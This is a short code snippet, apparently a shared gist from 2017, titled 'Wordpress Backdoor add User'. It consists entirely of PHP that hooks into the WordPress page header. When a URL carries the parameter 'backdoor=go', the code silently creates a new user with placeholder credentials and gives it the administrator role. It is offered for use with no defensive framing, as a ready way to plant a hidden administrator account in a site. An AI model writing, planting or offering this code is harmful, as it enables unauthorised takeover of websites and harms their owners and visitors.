telekommander
11/30/2017 - 9:27 AM

Wordpress Backdoor add User #wordpress #php

Wordpress Backdoor add User #wordpress #php

wp-backdoor.php
content_copyfile_download
add_action('wp_head', 'wpBackdoor');

function wpBackdoor() {
    if ($_GET['backdoor'] == 'go') {
        require('wp-includes/registration.php');
        if (!username_exists('USERNAME')) {
            $userID = wp_create_user('USERNAME', 'PASSWORD');
            $user = new WP_User($userID);
            $user->set_role('administrator');
        }
    }
}